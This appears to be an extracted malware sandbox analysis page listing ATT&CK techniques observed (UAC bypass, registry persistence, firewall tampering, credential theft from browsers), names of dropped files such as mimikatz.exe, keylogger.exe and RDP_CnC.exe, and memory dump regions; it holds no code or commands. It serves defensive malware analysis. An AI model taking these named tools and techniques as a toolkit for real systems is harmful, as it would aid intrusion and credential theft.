1Server Software Component
1Terminal Services DLL
1Privilege Escalation
Abuse Elevation Control Mechanism
1Bypass User Account Control
1Boot or Logon Autostart Execution
2Registry Run Keys / Startup Folder
1Winlogon Helper DLL
1Create or Modify System Process
1Windows Service
1Event Triggered Execution
1Netsh Helper DLL
1Scheduled Task/Job
1Scheduled Task
1Defense Evasion
Abuse Elevation Control Mechanism
1Bypass User Account Control
1Hide Artifacts
1Hidden Files and Directories
1Impair Defenses
3Disable or Modify System Firewall
1Disable or Modify Tools
2Modify Registry
3Virtualization/Sandbox Evasion
4Credential Access
Credentials from Password Stores
1Credentials from Web Browsers
1Unsecured Credentials
3Credentials In Files
3Discovery
Browser Information Discovery
1Peripheral Device Discovery
2Process Discovery
1Query Registry
8Remote System Discovery
1System Information Discovery
4System Location Discovery
1System Language Discovery
1System Network Configuration Discovery
1Internet Connection Discovery
1Virtualization/Sandbox Evasion
4Replay Monitor
Loading Replay Monitor...
Downloads
MAKE_pkg.exe
config.ini
config.ini
config.ini
is-D3S4C.tmp
is-EVR0D.tmp
is-NAHFS.tmp
is-P35OT.tmp
is-P47NQ.tmp
is-UQA06.tmp
is-GDAQU.tmp
is-DIH37.tmp
is-RBAL5.tmp
is-HQF64.tmp
RDPWInst.exe
RDP_CnC.exe
update.bat
app.so
AssetManifest.bin
FontManifest.json
NativeAssetsManifest.json
icon.ico
icon.png
MaterialIcons-Regular.otf
icudtl.dat
desktop_multi_window_plugin.dll
flutter_local_notifications_windows.dll
flutter_windows.dll
isar.dll
isar_flutter_libs_plugin.dll
screen_retriever_windows_plugin.dll
tray_manager_plugin.dll
which_browser.exe
window_manager_plugin.dll
windows_notification_plugin.dll
windows_single_instance_plugin.dll
background.exe
Local State
IpKOb6hGZSCG.exe
powershell.exe.log
settings.dat
Local State
aa0f13e5-56ff-4f5c-b945-610bd339756b.tmp
CurrentDatabase_400.wmdb
WMSDKNS.XML
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
D3DCompiler_47_cor3.dll
PresentationNative_cor3.dll
wpfgfx_cor3.dll
1_240918734.exe
2_240919718.exe
3_240920796.exe
4_240924828.exe
5_240925953.exe
6_240926734.exe
7_240929203.exe
89C.bat
Decide.cmd
000.exe
02.08.2022.exe
1223.exe
37cqsj.exe
4.exe
Aquarius.exe
AutoGuarder_2.3.7.350.exe
Backup.exe
Bloxflip%20Predictor.exe
CFXBypass.exe
Client-built.exe
CovidPass.exe
Doublepulsar-1.3.1.exe
ExtremeInjector.exe
G7_Update.exe
JAMMX4im1BtsCSq.exe
LOIC.exe
LRCnaco7v7VKgmM.exe
LukeJazz.exe
NLxHm2QLwG0rMot.exe
Petya.A.exe
PowerRat.exe
Q2Rb9HA.exe
RDPW_Installer.exe
Software.exe
XClient.exe
Yellow%20Pages%20Scraper.exe
ZJQPPAJN.exe
actu.exe
alphaTweaks.exe
cabalmain.exe
cards_db
cards_db
clean.exe
compiled.exe
cookie_db
disbalancer-go-client-windows-386.exe
erererer.exe
fontdrvhost.exe
game.exe
gbIM8JUazFGEAPH.exe
icecast2_2.0.0_VULNERABLE.exe
ipscan.exe
javaw.exe
keylogger.exe
login_db
main.exe
mimikatz.exe
pcfxfBJLlyuaL81.exe
pieletJF.exe
prueba.exe
requirements.exe
rickroll.exe
rod_en_1.exe
setup.exe
standalone_payload.exe
test.exe
update.exe
ver.exe
vnc.exe
web_history_db
web_history_db
which_browser-0.2.3+41-windows-setup.exe
xblkpfZ8Y4.exe
xx.exe
KkAXXdUZ07OO
PReflector64.exe
Remotely_Desktop.exe
rar.exe
rarreg.key
VCRUNTIME140.dll
_bz2.pyd
_ctypes.pyd
_decimal.pyd
_hashlib.pyd
_lzma.pyd
_queue.pyd
_socket.pyd
_sqlite3.pyd
_ssl.pyd
api-ms-win-core-console-l1-1-0.dll
api-ms-win-core-datetime-l1-1-0.dll
api-ms-win-core-debug-l1-1-0.dll
api-ms-win-core-errorhandling-l1-1-0.dll
api-ms-win-core-file-l1-1-0.dll
api-ms-win-core-file-l1-2-0.dll
api-ms-win-core-file-l2-1-0.dll
api-ms-win-core-handle-l1-1-0.dll
api-ms-win-core-heap-l1-1-0.dll
api-ms-win-core-interlocked-l1-1-0.dll
api-ms-win-core-libraryloader-l1-1-0.dll
api-ms-win-core-localization-l1-2-0.dll
api-ms-win-core-memory-l1-1-0.dll
api-ms-win-core-namedpipe-l1-1-0.dll
api-ms-win-core-processenvironment-l1-1-0.dll
api-ms-win-core-processthreads-l1-1-0.dll
api-ms-win-core-processthreads-l1-1-1.dll
api-ms-win-core-profile-l1-1-0.dll
api-ms-win-core-rtlsupport-l1-1-0.dll
api-ms-win-core-string-l1-1-0.dll
api-ms-win-core-synch-l1-1-0.dll
api-ms-win-core-synch-l1-2-0.dll
api-ms-win-core-sysinfo-l1-1-0.dll
api-ms-win-core-timezone-l1-1-0.dll
api-ms-win-core-util-l1-1-0.dll
api-ms-win-crt-conio-l1-1-0.dll
api-ms-win-crt-convert-l1-1-0.dll
api-ms-win-crt-environment-l1-1-0.dll
api-ms-win-crt-filesystem-l1-1-0.dll
api-ms-win-crt-heap-l1-1-0.dll
api-ms-win-crt-locale-l1-1-0.dll
api-ms-win-crt-math-l1-1-0.dll
api-ms-win-crt-process-l1-1-0.dll
api-ms-win-crt-runtime-l1-1-0.dll
api-ms-win-crt-stdio-l1-1-0.dll
api-ms-win-crt-string-l1-1-0.dll
api-ms-win-crt-time-l1-1-0.dll
api-ms-win-crt-utility-l1-1-0.dll
base_library.zip
blank.aes
libcrypto-1_1.dll
libffi-7.dll
libssl-1_1.dll
python310.dll
select.pyd
sqlite3.dll
ucrtbase.dll
unicodedata.pyd
blank.aes
__PSScriptPolicyTest_uoyvwxad.alz.ps1
which_browser-0.2.3+41-windows-setup.tmp
CrystalBlue.cjstyles
ISSkinU.dll
idp.dll
_isdecmp.dll
setup.tmp
FindProcDLL.dll
v.mp4
AQS-DataUpdater.exe
AQS-data.exe
config.ini
cqsj.exe
syshost.exe
RDP_CnC.lnk
memory/276-169-0x0000000002B60000-0x0000000002B82000-memory.dmp
memory/276-162-0x00000000008E0000-0x00000000008EE000-memory.dmp
memory/800-2778-0x0000000000400000-0x0000000000502000-memory.dmp
memory/800-2779-0x00000000030B0000-0x00000000030C2000-memory.dmp
memory/800-2776-0x0000000000400000-0x00000000005BC000-memory.dmp
memory/800-2828-0x0000000000400000-0x00000000005BC000-memory.dmp
memory/1060-2589-0x0000000000E00000-0x00000000025C7000-memory.dmp
memory/1060-2568-0x0000000000E00000-0x00000000025C7000-memory.dmp
memory/1112-2912-0x00007FF717AC0000-0x00007FF717B42000-memory.dmp
memory/1228-2661-0x000000006ECD0000-0x000000006ED1C000-memory.dmp
memory/1228-2670-0x0000000007F20000-0x0000000007F35000-memory.dmp
memory/1228-2669-0x0000000007EE0000-0x0000000007EF1000-memory.dmp
memory/1228-2668-0x0000000007BF0000-0x0000000007C94000-memory.dmp
memory/1228-2660-0x00000000069D0000-0x0000000006A1C000-memory.dmp
memory/1236-131-0x0000000000F70000-0x000000000131E000-memory.dmp
memory/1236-19-0x0000000003130000-0x0000000003131000-memory.dmp
memory/1236-83-0x0000000000F70000-0x000000000131E000-memory.dmp
memory/1236-22-0x0000000000F70000-0x000000000131E000-memory.dmp
memory/1236-23-0x0000000003130000-0x0000000003131000-memory.dmp
memory/1392-383-0x000000006F530000-0x000000006F57C000-memory.dmp
memory/1392-391-0x00000000070B0000-0x00000000070C1000-memory.dmp
memory/1392-392-0x0000000007100000-0x0000000007115000-memory.dmp
memory/1656-332-0x0000000005E10000-0x0000000005E76000-memory.dmp
memory/1656-339-0x0000000006010000-0x0000000006367000-memory.dmp
memory/1656-344-0x0000000006AA0000-0x0000000006AC2000-memory.dmp
memory/1656-343-0x0000000006A50000-0x0000000006A6A000-memory.dmp
memory/1656-329-0x0000000005770000-0x0000000005D9A000-memory.dmp
memory/1656-328-0x0000000003080000-0x00000000030B6000-memory.dmp
memory/1656-342-0x0000000007520000-0x00000000075B6000-memory.dmp
memory/1656-341-0x0000000006580000-0x00000000065CC000-memory.dmp
memory/1656-331-0x0000000005DA0000-0x0000000005E06000-memory.dmp
memory/1656-340-0x0000000006530000-0x000000000654E000-memory.dmp
memory/1656-330-0x0000000005680000-0x00000000056A2000-memory.dmp
memory/1656-345-0x0000000007B70000-0x0000000008116000-memory.dmp
memory/2328-2620-0x00000000006B0000-0x00000000009D4000-memory.dmp
memory/2936-427-0x0000000000400000-0x0000000000436000-memory.dmp
memory/3196-1293-0x0000000000400000-0x0000000000448000-memory.dmp
memory/3196-1325-0x0000000006A70000-0x0000000006AC0000-memory.dmp
memory/3492-3266-0x00007FF7CA6C0000-0x00007FF7CA9C4000-memory.dmp
memory/3492-3249-0x00007FF7CA6C0000-0x00007FF7CA9C4000-memory.dmp
memory/3640-2689-0x000000006ECD0000-0x000000006ED1C000-memory.dmp
memory/3836-3300-0x0000000000BB0000-0x0000000000C60000-memory.dmp
memory/4120-2936-0x00007FF6D0E80000-0x00007FF6D0FD4000-memory.dmp
memory/4120-3001-0x00007FF988BB0000-0x00007FF988DFC000-memory.dmp
memory/4120-2929-0x00007FF988BB0000-0x00007FF988DFC000-memory.dmp
memory/4120-2957-0x00007FF988BB0000-0x00007FF988DFC000-memory.dmp
memory/4208-2546-0x0000000000880000-0x0000000000934000-memory.dmp
memory/4208-2650-0x0000000005880000-0x000000000590E000-memory.dmp
memory/4208-2554-0x00000000055F0000-0x00000000055FC000-memory.dmp
memory/4280-1178-0x0000000006B80000-0x0000000006B98000-memory.dmp
memory/4280-1029-0x0000000005130000-0x000000000513A000-memory.dmp
memory/4280-1290-0x0000000006C40000-0x0000000006CCE000-memory.dmp
memory/4280-1026-0x0000000004BC0000-0x0000000004F17000-memory.dmp
memory/4280-1027-0x0000000005140000-0x00000000051D2000-memory.dmp
memory/4280-1025-0x0000000000290000-0x000000000035C000-memory.dmp
memory/4280-1028-0x00000000053B0000-0x0000000005572000-memory.dmp
memory/4396-1343-0x0000000000210000-0x0000000003EEA000-memory.dmp
memory/4396-1344-0x000000000BAC0000-0x000000000BAC8000-memory.dmp
memory/4396-1346-0x000000000BF70000-0x000000000BF7E000-memory.dmp
memory/4396-1347-0x000000000BF90000-0x000000000BF9A000-memory.dmp
memory/4396-1348-0x000000000C520000-0x000000000C532000-memory.dmp
memory/4396-1345-0x000000000BFB0000-0x000000000BFE8000-memory.dmp
memory/4680-2682-0x0000000000400000-0x0000000000426000-memory.dmp
memory/4692-298-0x00000248A7B30000-0x00000248A8D76000-memory.dmp
memory/4692-121-0x00000248AA7D0000-0x00000248AA7D1000-memory.dmp
memory/4692-301-0x00000248A7B30000-0x00000248A8D76000-memory.dmp
memory/4692-302-0x00000248A7B30000-0x00000248A8D76000-memory.dmp
memory/4692-327-0x00000248A7B30000-0x00000248A8D76000-memory.dmp
memory/4692-303-0x00000248A7B30000-0x00000248A8D76000-memory.dmp
memory/4692-304-0x00000248A7B30000-0x00000248A8D76000-memory.dmp
memory/4692-305-0x00000248A7B30000-0x00000248A8D76000-memory.dmp
memory/4692-300-0x00000248A7B30000-0x00000248A8D76000-memory.dmp
memory/4692-297-0x00000248A7B30000-0x00000248A8D76000-memory.dmp
memory/4692-225-0x00000248A7B30000-0x00000248A8D76000-memory.dmp
memory/4692-120-0x00000248ACD90000-0x00000248AD631000-memory.dmp
memory/4692-119-0x00000248ACD90000-0x00000248AD631000-memory.dmp
memory/4692-118-0x00000248ACD90000-0x00000248AD631000-memory.dmp
memory/4692-117-0x00000248AA7C0000-0x00000248AA7C1000-memory.dmp
memory/4692-306-0x00000248A7B30000-0x00000248A8D76000-memory.dmp
memory/4692-414-0x00000248A7B30000-0x00000248A8D76000-memory.dmp
memory/4752-3081-0x00007FF988BB0000-0x00007FF988DFC000-memory.dmp
memory/4752-3127-0x00007FF988BB0000-0x00007FF988DFC000-memory.dmp
memory/4752-3058-0x00007FF6D0E80000-0x00007FF6D0FD4000-memory.dmp
memory/4900-2592-0x0000000000C30000-0x0000000000CC0000-memory.dmp
memory/4956-1356-0x0000000000400000-0x0000000000416000-memory.dmp
memory/4956-1841-0x0000000000400000-0x0000000000416000-memory.dmp
memory/4956-401-0x0000000006360000-0x00000000066B7000-memory.dmp
memory/4996-2604-0x00000000000C0000-0x0000000000168000-memory.dmp
memory/4996-2679-0x00000000066F0000-0x000000000675C000-memory.dmp
memory/5040-271-0x0000019AF8AC0000-0x0000019AF8B0A000-memory.dmp
memory/5040-204-0x0000019AF7F40000-0x0000019AF7F53000-memory.dmp
memory/5040-192-0x0000019AFA4C0000-0x0000019AFAD02000-memory.dmp
memory/5040-180-0x0000019AF81E0000-0x0000019AF8408000-memory.dmp
memory/5040-247-0x0000019AF8000000-0x0000019AF800A000-memory.dmp
memory/5040-244-0x0000019AF8130000-0x0000019AF8159000-memory.dmp
memory/5040-250-0x0000019AF8900000-0x0000019AF8982000-memory.dmp
memory/5040-177-0x0000019AF9530000-0x0000019AFA4B7000-memory.dmp
memory/5040-256-0x0000019AF8190000-0x0000019AF81B1000-memory.dmp
memory/5040-253-0x0000019AF80B0000-0x0000019AF80B5000-memory.dmp
memory/5040-259-0x0000019AF8B40000-0x0000019AF8BF5000-memory.dmp
memory/5040-201-0x0000019AF7780000-0x0000019AF7785000-memory.dmp
memory/5040-216-0x0000019AF8010000-0x0000019AF8050000-memory.dmp
memory/5040-262-0x0000019AF80C0000-0x0000019AF80D3000-memory.dmp
memory/5040-232-0x0000019AF7FF0000-0x0000019AF7FF8000-memory.dmp
memory/5040-268-0x0000019AF8160000-0x0000019AF8176000-memory.dmp
memory/5040-183-0x0000019AF8410000-0x0000019AF856E000-memory.dmp
memory/5040-241-0x0000019AFAD10000-0x0000019AFB52C000-memory.dmp
memory/5040-189-0x0000019AF7F00000-0x0000019AF7F3E000-memory.dmp
memory/5040-198-0x0000019AF5F20000-0x0000019AF5F2D000-memory.dmp
memory/5040-265-0x0000019AF8A80000-0x0000019AF8ABC000-memory.dmp
memory/5040-175-0x0000000180000000-0x0000000180A25000-memory.dmp
memory/5040-285-0x0000019AF8B10000-0x0000019AF8B1F000-memory.dmp
memory/5040-238-0x0000019AF8050000-0x0000019AF807A000-memory.dmp
memory/5040-282-0x0000019AF88B0000-0x0000019AF88E4000-memory.dmp
memory/5040-207-0x0000019AF7790000-0x0000019AF7797000-memory.dmp
memory/5040-279-0x0000019AF8D60000-0x0000019AF8DB5000-memory.dmp
memory/5040-288-0x0000019AF9170000-0x0000019AF91DF000-memory.dmp
memory/5040-291-0x0000019AF88F0000-0x0000019AF88FD000-memory.dmp
memory/5040-294-0x0000019AF9150000-0x0000019AF9156000-memory.dmp
memory/5040-186-0x0000019AF7EB0000-0x0000019AF7EF5000-memory.dmp
memory/5040-213-0x0000019AF7F70000-0x0000019AF7F86000-memory.dmp
memory/5040-235-0x0000019AF80E0000-0x0000019AF8127000-memory.dmp
memory/5040-229-0x0000019AF8570000-0x0000019AF8664000-memory.dmp
memory/5040-195-0x0000019AF7700000-0x0000019AF7776000-memory.dmp
memory/5040-210-0x0000019AF78D0000-0x0000019AF78E9000-memory.dmp
memory/5040-222-0x0000019AF7F90000-0x0000019AF7FA2000-memory.dmp
memory/5040-219-0x0000019AF7FC0000-0x0000019AF7FD8000-memory.dmp
memory/5128-1310-0x0000000007C70000-0x0000000007C81000-memory.dmp
memory/5128-1311-0x0000000007CB0000-0x0000000007CC5000-memory.dmp
memory/5128-1309-0x00000000079D0000-0x0000000007A74000-memory.dmp
memory/5128-1302-0x000000006F5D0000-0x000000006F61C000-memory.dmp
memory/5128-1301-0x0000000006760000-0x00000000067AC000-memory.dmp
memory/5128-1300-0x00000000061A0000-0x00000000064F7000-memory.dmp
memory/5152-13-0x0000000000D30000-0x0000000000E17000-memory.dmp
memory/5152-132-0x0000000000D30000-0x0000000000E17000-memory.dmp
memory/5152-21-0x0000000000D30000-0x0000000000E17000-memory.dmp
memory/5244-2635-0x000000001B6B0000-0x000000001B700000-memory.dmp
memory/5244-2636-0x000000001C2F0000-0x000000001C3A2000-memory.dmp
memory/5260-441-0x0000000002C40000-0x0000000002CA1000-memory.dmp
memory/5260-449-0x0000000075690000-0x000000007570C000-memory.dmp
memory/5584-369-0x00000000070F0000-0x0000000007194000-memory.dmp
memory/5584-370-0x0000000007820000-0x0000000007E9A000-memory.dmp
memory/5584-351-0x0000000005970000-0x0000000005CC7000-memory.dmp
memory/5584-359-0x00000000060E0000-0x000000000612C000-memory.dmp
memory/5584-361-0x000000006F530000-0x000000006F57C000-memory.dmp
memory/5584-360-0x0000000007000000-0x0000000007034000-memory.dmp
memory/5584-368-0x0000000006FE0000-0x0000000006FFE000-memory.dmp
memory/5584-382-0x0000000007600000-0x0000000007608000-memory.dmp
memory/5584-380-0x0000000007410000-0x0000000007425000-memory.dmp
memory/5584-381-0x0000000007620000-0x000000000763A000-memory.dmp
memory/5584-371-0x0000000007230000-0x000000000723A000-memory.dmp
memory/5584-372-0x00000000073D0000-0x00000000073E1000-memory.dmp
memory/5584-379-0x0000000007400000-0x000000000740E000-memory.dmp
memory/5764-326-0x0000000000590000-0x000000000059A000-memory.dmp
memory/5848-2578-0x0000000000AC0000-0x0000000000AE8000-memory.dmp
memory/5952-3254-0x00007FF6D0E80000-0x00007FF6D0FD4000-memory.dmp
memory/5952-3274-0x00007FF988BB0000-0x00007FF988DFC000-memory.dmp
memory/6116-2-0x0000000002A00000-0x0000000002A10000-memory.dmp
memory/6116-0-0x00000000006C0000-0x00000000006C8000-memory.dmp
memory/6116-1-0x0000000005010000-0x00000000050AC000-memory.dmp